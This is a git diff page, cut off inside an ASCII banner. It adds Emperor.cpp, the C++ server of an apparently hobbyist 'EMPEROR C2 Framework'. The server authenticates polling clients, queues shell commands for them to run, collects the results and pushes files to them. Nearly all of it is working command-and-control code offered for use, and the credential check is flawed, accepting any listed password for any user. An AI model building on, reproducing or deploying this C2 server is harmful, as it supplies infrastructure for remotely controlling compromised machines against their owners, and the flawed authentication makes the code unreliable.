Compare commits
	
		
			No commits in common. "66c0839d5462b1251dd82882bf714b844ac30ee0" and "50d38762c23240c1224235ea5e02e3defcf1410a" have entirely different histories.
		
	
	
		
			66c0839d54
			...
			50d38762c2
		
	
		
							
								
								
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							@ -1 +1 @@
 | 
				
			|||||||
bin
 | 
					Emperor
 | 
				
			||||||
 | 
				
			|||||||
@ -1,19 +1,19 @@
 | 
				
			|||||||
{
 | 
					{
 | 
				
			||||||
	"configurations": {
 | 
						"configurations": {
 | 
				
			||||||
		"Debug RCB": {
 | 
							"Debug EmperorClient": {
 | 
				
			||||||
			"adapter": "vscode-cpptools",
 | 
								"adapter": "vscode-cpptools",
 | 
				
			||||||
			"configuration": {
 | 
								"configuration": {
 | 
				
			||||||
				"type": "cppdbg",
 | 
									"type": "cppdbg",
 | 
				
			||||||
				"request": "launch",
 | 
									"request": "launch",
 | 
				
			||||||
				"program": "${workspaceRoot}/RCB",
 | 
									"program": "${workspaceRoot}/bin/EmperorD",
 | 
				
			||||||
				"args": [
 | 
									"args": [
 | 
				
			||||||
				],
 | 
									],
 | 
				
			||||||
				"cwd": "${workspaceRoot}",
 | 
									"cwd": "${workspaceRoot}/bin",
 | 
				
			||||||
				"environment": [
 | 
									"environment": [
 | 
				
			||||||
				],
 | 
									],
 | 
				
			||||||
 | 
									"stopAtEntry": true,
 | 
				
			||||||
				"MIMode": "gdb"
 | 
									"MIMode": "gdb"
 | 
				
			||||||
			}
 | 
								}
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
				
			|||||||
							
								
								
									
										489
									
								
								Emperor.cpp
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										489
									
								
								Emperor.cpp
									
									
									
									
									
										Executable file
									
								
							@ -0,0 +1,489 @@
 | 
				
			|||||||
 | 
					#include <array>
 | 
				
			||||||
 | 
					#include <fstream>
 | 
				
			||||||
 | 
					#include <httpserver.hpp>
 | 
				
			||||||
 | 
					#include <iostream>
 | 
				
			||||||
 | 
					#include <map>
 | 
				
			||||||
 | 
					#include <regex>
 | 
				
			||||||
 | 
					#include <string>
 | 
				
			||||||
 | 
					#include <thread>
 | 
				
			||||||
 | 
					#include <vector>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					// GLOBALS
 | 
				
			||||||
 | 
					bool bIncomingHey = false;
 | 
				
			||||||
 | 
					std::string sIncomingHeyUser;
 | 
				
			||||||
 | 
					bool bShutdown = false;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::string decodeQuadruplet(char cEncoded1, char cEncoded2, char cEncoded3, char cEncoded4)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::array<std::uint8_t, 128> aDecodeTable{0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
 | 
				
			||||||
 | 
											   0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x3E,
 | 
				
			||||||
 | 
											   0x64, 0x64, 0x64, 0x3F, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x00,
 | 
				
			||||||
 | 
											   0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16,
 | 
				
			||||||
 | 
											   0x17, 0x18, 0x19, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26,
 | 
				
			||||||
 | 
											   0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x64, 0x64, 0x64, 0x64, 0x64};
 | 
				
			||||||
 | 
						std::uint32_t iCombinedChars = aDecodeTable[cEncoded1] << 18 | aDecodeTable[cEncoded2] << 12 | aDecodeTable[cEncoded3] << 6 | aDecodeTable[cEncoded4];
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						std::ostringstream oss;
 | 
				
			||||||
 | 
						oss << char(iCombinedChars >> 16);
 | 
				
			||||||
 | 
						oss << char(iCombinedChars >> 8 & 0xFF);
 | 
				
			||||||
 | 
						oss << char(iCombinedChars & 0xFF);
 | 
				
			||||||
 | 
						return oss.str();
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::string b64Decode(std::string sEncoded) 
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::string sDecoded = "";
 | 
				
			||||||
 | 
						while (sEncoded.length() > 0)
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							if (sEncoded[3] == '$')
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								if (sEncoded[2] == '$')
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], 'A', 'A');
 | 
				
			||||||
 | 
									sEncoded.erase(0, 4);
 | 
				
			||||||
 | 
									sDecoded.erase(sDecoded.length() - 2, 2);
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								else
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], sEncoded[2], 'A');
 | 
				
			||||||
 | 
									sEncoded.erase(0, 4);
 | 
				
			||||||
 | 
									sDecoded.erase(sDecoded.length() - 1, 1);
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							else
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], sEncoded[2], sEncoded[3]);
 | 
				
			||||||
 | 
								sEncoded.erase(0, 4);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						return sDecoded;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					std::vector<std::vector<std::string>> retrievecreds(std::string sFile)	// takes a file path as a parameter and parses the combinations of usernames and passwords from the file for insertion
 | 
				
			||||||
 | 
														// into a vector of strings
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::vector<std::vector<std::string>> sCreds;  // define 2d vector of strings for storing creds
 | 
				
			||||||
 | 
						std::vector<std::string> sUsernames;	       // vector of strings for storing usernames
 | 
				
			||||||
 | 
						std::vector<std::string> sPasswords;	       // vector of strings for storing passwords
 | 
				
			||||||
 | 
						std::fstream fCreds;			       // filestream for reading provided file
 | 
				
			||||||
 | 
						fCreds.open("creds", std::ios::in);	       // open file provided in parameter
 | 
				
			||||||
 | 
						char ch;
 | 
				
			||||||
 | 
						bool bUsername = true;	     // flag used to determine if username is currently being parsed, set to true by default as creds are in the form username:password
 | 
				
			||||||
 | 
						std::string sUsername = "";  // string to store username
 | 
				
			||||||
 | 
						std::string sPassword = "";  // string to store password
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						while (true)  // loop forever
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							fCreds >> ch;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (fCreds.eof())  // if the end of the credentials file has been reached
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								sPasswords.push_back(sPassword);  // push the last password back into the vector of passwords
 | 
				
			||||||
 | 
								break;				  // and break the loop
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (ch == ':')	// if we have reached the end of the username
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								bUsername = false;		  // set the bUsername flag to false
 | 
				
			||||||
 | 
								fCreds >> ch;			  // retrieve the next char from the file
 | 
				
			||||||
 | 
								sUsernames.push_back(sUsername);  // add the previous username to the sUsernames vector
 | 
				
			||||||
 | 
								sUsername = "";			  // set the sUsername variable to empty
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (ch == '\n')	 // if we have encountered a line break
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								bUsername = true;		  // set the bUsername flag to true
 | 
				
			||||||
 | 
								fCreds >> ch;			  // retrieve the next char from the file
 | 
				
			||||||
 | 
								sPasswords.push_back(sPassword);  // add the previous password to the sPasswords vector
 | 
				
			||||||
 | 
								sPassword = "";			  // set the sPassword variable to empty
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (bUsername)	// if the bUsername flag is true
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								sUsername += ch;  // then append the retrieved char to the sUsername string
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							else  // if the bUsername flag is false
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								sPassword += ch;  // then append the retrieved char to the sPassword string
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						sCreds.push_back(sUsernames);  // add the sUsernames vector to the sCreds 2d vector
 | 
				
			||||||
 | 
						sCreds.push_back(sPasswords);  // add the sPasswords vector to the sCreds 2d vector
 | 
				
			||||||
 | 
						return sCreds;		       // return the sCreds 2d vector
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");	// call the retrievecreds function with the filename "creds" as a parameter and save the returned vector to a 2d vector
 | 
				
			||||||
 | 
														// called sCreds
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, bool> createUserConnections(std::vector<std::vector<std::string>> sCreds)	 // takes a vector of strings containing the listed credentials and creates a dictionary containing the
 | 
				
			||||||
 | 
																	 // username of the registered client as the key and a false boolean for later use
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::map<std::string, bool> mConnections;  // define mConnections, a map containing string as the key and bool as the value
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in the list of credentials
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							mConnections[sCreds[0][iUsernameIndex]] = false;  // set the value of the username to an empty string
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						return mConnections;  // return the map
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, std::string> createUserComms(std::vector<std::vector<std::string>> sCreds)  // creates a dictionary containing the username of the registered client
 | 
				
			||||||
 | 
																	  // as the key and an empty value for later use
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::map<std::string, std::string> mComms;  // define mComms, a map containing string as the key and value
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in the list of credentials
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							mComms[sCreds[0][iUsernameIndex]] = "";	 // set the value of the username to an empty string
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						return mComms;	// return the map
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, std::pair<std::string, std::string>> createUserFiles(std::vector<std::vector<std::string>> sCreds)  // creates a dictionary containing the username of the registered
 | 
				
			||||||
 | 
																				  // client as the key and an empty string pair for later use
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::map<std::string, std::pair<std::string, std::string>> mComms;  // define mComms, a map containing string as the key and value
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in the list of credentials
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							mComms[sCreds[0][iUsernameIndex]].first = "";	// set the value of the username to an empty string
 | 
				
			||||||
 | 
							mComms[sCreds[0][iUsernameIndex]].second = "";	// set the value of the username to an empty string
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						return mComms;	// return the map
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, std::string> mCommands = createUserComms(sCreds);	 // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of strings to
 | 
				
			||||||
 | 
														 // mCommands
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, std::string> mResults = createUserComms(sCreds);	// call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to
 | 
				
			||||||
 | 
														// mResults
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, std::pair<std::string, std::string>> mInFiles =
 | 
				
			||||||
 | 
					    createUserFiles(sCreds);  // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, std::pair<std::string, std::string>> mOutFiles =
 | 
				
			||||||
 | 
					    createUserFiles(sCreds);  // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::map<std::string, bool> mConnections = createUserConnections(sCreds);  // call the defaultUserConnections function with the 2d vector sCreds as an argument, saving the returned map of
 | 
				
			||||||
 | 
														   // string and bool to mConnections
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					std::string listUserConnections(std::map<std::string, bool> mConnections)  // iterates through the provided mConnections map, checking if the value for a username is true and if so, it adds
 | 
				
			||||||
 | 
														   // the username along with a string which confirms the client is active to the oss, which is returned as string
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::ostringstream oss;			     // declare ostringstream oss for later use as a dynamic string
 | 
				
			||||||
 | 
						for (auto const &[key, val] : mConnections)  // for each key and value in mConnections, assign these to variables key and val
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							if (val == true)  // if the value for the key is true
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								oss << key << " is active.\n";	// then add the key to the oss as well as a string to confirm the client is active
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						std::string sConnections = oss.str();  // convert oss to string
 | 
				
			||||||
 | 
						return sConnections;		       // return the converted string
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					class command_and_control : public httpserver::http_resource  // class for command and control http resource
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					    public:
 | 
				
			||||||
 | 
						bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername,
 | 
				
			||||||
 | 
								 std::string sPassword)	 // takes 2d vector sCreds along with the provided username and password from the
 | 
				
			||||||
 | 
											 // client in order to verify their credentials, returns true if successful
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)  // for each username in sCreds
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								if (sCreds[0][iUsernameIndex] == sUsername)  // if the selected username in the vector matches the username provided by the client
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)  // for each password in sCreds
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										if (sCreds[1][iPasswordIndex] == sPassword)  // if the selected password in the vector matches the password provided by the client
 | 
				
			||||||
 | 
										{
 | 
				
			||||||
 | 
											return true;  // then return true
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return false;  // otherwise return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)  // responsible for rendering the http response from the server
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							if (verifycreds(sCreds, req.get_user(), req.get_pass()))  // if the provided http auth credentials from the client are in the sCreds 2d vector
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								if (req.get_method() == "POST")	 // if the method used is post
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									if (b64Decode(req.get_arg("msg")) == "ready")  // if the client is initiating a connection
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										std::ostringstream oss;		      // declare ostringstream oss for response creation
 | 
				
			||||||
 | 
										oss << "msg=acknowledged";	      // add specific response for client to confirm connection has been established
 | 
				
			||||||
 | 
										std::string sResponse = oss.str();    // convert oss to string
 | 
				
			||||||
 | 
										bIncomingHey = true;		      // set the bIncomingHey flag to true
 | 
				
			||||||
 | 
										sIncomingHeyUser = req.get_user();    // set the sIncomingHeyUser string to the value of the username used by the client
 | 
				
			||||||
 | 
										mConnections[req.get_user()] = true;  // set the connection value of the user in question to true
 | 
				
			||||||
 | 
										return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));	// return the generated response to the client
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
									else if (b64Decode(req.get_arg("msg")) == "reqcmd")  // if the client is requesting a command from the server
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										if (mCommands[req.get_user()] != "")  // if there is a command waiting to be executed from the server
 | 
				
			||||||
 | 
										{
 | 
				
			||||||
 | 
											std::ostringstream oss;										// declare ostringstream oss for response creation
 | 
				
			||||||
 | 
											oss << "run=" << mCommands[req.get_user()];							// add command to the oss
 | 
				
			||||||
 | 
											return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));	// return the generated response to the client
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										else if (mOutFiles[req.get_user()].first != "")	 // if there is a file waiting to be downloaded from the server
 | 
				
			||||||
 | 
										{
 | 
				
			||||||
 | 
											std::ostringstream oss;	 // declare ostringstream for response creation
 | 
				
			||||||
 | 
											oss << "filename=" << mOutFiles[req.get_user()].first << "&content=" << mOutFiles[req.get_user()].second;  // add filename and file content to the oss
 | 
				
			||||||
 | 
											return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));	// return the generated response to the client
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										else  // otherwise
 | 
				
			||||||
 | 
										{
 | 
				
			||||||
 | 
											return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));  // tell the client there is no command in the queue
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									else if (b64Decode(req.get_arg("msg")) == "saved")
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										std::cout << "Client " << req.get_user() << " successfully saved the file." << std::endl;
 | 
				
			||||||
 | 
										mOutFiles[req.get_user()].first = "";
 | 
				
			||||||
 | 
										mOutFiles[req.get_user()].second = "";
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									else if (b64Decode(req.get_arg("msg")) == "error")
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										std::cout << "Client " << req.get_user() << " encountered an error whilst saving the file." << std::endl;
 | 
				
			||||||
 | 
										mOutFiles[req.get_user()].first = "";
 | 
				
			||||||
 | 
										mOutFiles[req.get_user()].second = "";
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									else if (b64Decode(req.get_arg("result")) != "")  // if the client has submitted a result from a command
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										mCommands[req.get_user()] = "";			   // the value for the client in the mCommands map wil be set to empty
 | 
				
			||||||
 | 
										mResults[req.get_user()] = b64Decode(req.get_arg("result"));  // the value for the client in the mResults map will be set to the returned result
 | 
				
			||||||
 | 
										std::ostringstream oss;				   // declare osstringstream oss for response creation
 | 
				
			||||||
 | 
										oss << "msg=acknowledged";			   // add specific response for client to confirm that the result from the command was recieved
 | 
				
			||||||
 | 
										return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));	// return the generated response to the client
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(req.get_content()));	// otherwise return not found
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					};
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void checkConnections()	 // checks if there is an incoming connection from a client, if there is then the function prints out a message stating the username connecting
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						while (!bShutdown)  // whilst the server is not shutting down
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							if (bIncomingHey)  // if the bIncomingHey flag is true
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;	 // then print incoming connection from, with the username and finally
 | 
				
			||||||
 | 
																				 // print the prompt on the next line
 | 
				
			||||||
 | 
								bIncomingHey = false;										 // set the bIncomingHey flag to false
 | 
				
			||||||
 | 
								sIncomingHeyUser = "";										 // set the sIncomingHeyUser string to empty
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					bool uploadFile(std::string sFilename, std::string sUsername)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::string sContent;	       // declare string sContent for later use
 | 
				
			||||||
 | 
						sContent += sFilename + '\n';  // append filename along with a linebreak to the file content for use by the client
 | 
				
			||||||
 | 
						std::ifstream fFile;	       // declare ifstream fFile for later use
 | 
				
			||||||
 | 
						fFile.open(sFilename);	       // open the file provided as an argument
 | 
				
			||||||
 | 
						char ch;		       // declare char for reading file
 | 
				
			||||||
 | 
						while (fFile)		       // whilst the end of the file has not been reached
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							ch = fFile.get();  // get the next char from the file
 | 
				
			||||||
 | 
							sContent += ch;	   // append it to the sContent string
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if (sContent != "")  // if the file was successfully read
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							mOutFiles[sUsername].first = sFilename;	 // then set the value of the username key in the mOutFiles map to the parsed content of the file
 | 
				
			||||||
 | 
							mOutFiles[sUsername].second = sContent;	 // then set the value of the second value for username key in the mOutFiles map to the parsed content of the file
 | 
				
			||||||
 | 
							return true;
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						else  // otherwise
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							return false;  // the file was not successfully read
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void downloadFile(std::string sContent, std::string sUsername)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::ofstream fFile;	// declare ifstream fFile for later use
 | 
				
			||||||
 | 
						std::string sFilename;	// declare string sFilename for later use
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						for (int i = 0; i < sContent.length() - 1; i++)	 // for each char in the sContent string
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							if (sContent[i] == '\n')  // if the selected char is a line break
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								break;
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							sFilename += sContent[i];  // add the selected char to the sFilename string
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						fFile.open(sFilename);	// creatr file with provided filename
 | 
				
			||||||
 | 
						fFile << sContent;	// write file content to file
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void interactConnection(std::string sIdentifier)  // begin issuing commands to the client provided as a parameter
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::string sCommand;							// declare sCommand string to store command input
 | 
				
			||||||
 | 
						std::cout << "Starting interaction with " << sIdentifier << std::endl;	// show the connection that the user is beginning interaction with
 | 
				
			||||||
 | 
						while (true)								// loop forever
 | 
				
			||||||
 | 
						{
 | 
				
			||||||
 | 
							std::cout << "[EMPEROR - " << sIdentifier << "]>";  // print prompt with username of connected client
 | 
				
			||||||
 | 
							std::getline(std::cin, sCommand);		    // get user input
 | 
				
			||||||
 | 
							std::regex rUpload(":u ");			    // compile upload regex for later use
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (sCommand == ":q")  // if the command is quit
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								break;	// exit the interactive connection
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							else if (std::regex_search(sCommand, rUpload))	// if the command is upload
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								bool bFilename = false;			     // declare bool bFilename flag which is set to false by default
 | 
				
			||||||
 | 
								bool bResult;				     // declare bool bResult for later use
 | 
				
			||||||
 | 
								std::string sFilename;			     // declare string sFilename for later use
 | 
				
			||||||
 | 
								for (int i = 0; i < sCommand.length(); i++)  // for each char in sCommand string
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									if (bFilename)	// if the filename is currently being parsed
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										sFilename += sCommand[i];  // add the currently selected char to the sFilename string
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									if (sCommand[i] == ' ')	 // if the currently selected char is a space
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										bFilename = true;  // set the bFilename flag to true
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								bResult = uploadFile(sFilename, sIdentifier);  // call the uploadFile function with the filename and identifier as parameters, saving the return to the bResult bool
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (bResult)  // if the uploadFile function returned true
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									std::cout << "Command sent, awaiting response..." << std::endl;	 // tell the user that the command has been added to the queue and is awaiting a response
 | 
				
			||||||
 | 
									while (mOutFiles[sIdentifier].first != "")			 // whilst the file has not been removed from the mOutFiles array
 | 
				
			||||||
 | 
									{
 | 
				
			||||||
 | 
										continue;  // do nothing and block further execution
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								else  // otherwise
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									std::cout << "The provided file does not exist or cannot be read." << std::endl;  // tell the user the file provided could not be read
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							else  // otherwise
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
								mCommands[sIdentifier] = sCommand;				 // add the command to the value for the username key in the mCommands map
 | 
				
			||||||
 | 
								std::cout << "Command sent, awaiting response..." << std::endl;	 // tell the user that the command has been added to the queue and is awaiting a response
 | 
				
			||||||
 | 
								while (mResults[sIdentifier].empty())				 // whilst the client has not submitted a result for the command
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									continue;  // do nothing and block further execution
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								std::cout << "Result: " << mResults[sIdentifier] << std::endl;	// when the response is submitted, print the result to the user from the mResults map
 | 
				
			||||||
 | 
								mResults[sIdentifier] = "";					// set the value of the key for the client in question to an empty string
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void prompt()
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
						std::cout << "========== EMPEROR C2 Framework ==========" << std::endl;
 | 
				
			||||||
 | 
						std::cout << R"(            _____             
 | 
				
			||||||
 | 
					          ,888888b.                                        
 | 
				
			||||||
 | 
					        .d888888888b                                      
 | 
				
			||||||
 | 
					    _..-'.`*'_,88888b                                  
 | 
				
			||||||
 | 
					  ,'..-..`"ad88888888b.                         
 | 
				
			||||||
 | 
					         ``-. `*Y888888b.                             
 | 
				
			||||||
 | 
					             \   `Y888888b.          
 | 
				
			||||||
 | 
					             :     Y8888888b.                         
 | 
				
			||||||
 | 
					             :      Y88888888b.                       
 | 
				
			||||||
 | 
					             |    _,8ad88888888.                      
 | 
				
			||||||
 | 
					             : .d88888888888888b.                     
 | 
				
			||||||
 | 
					             \d888888888888888888                      
 | 
				
			||||||
 | 
					             8888;'''`88888888888                       
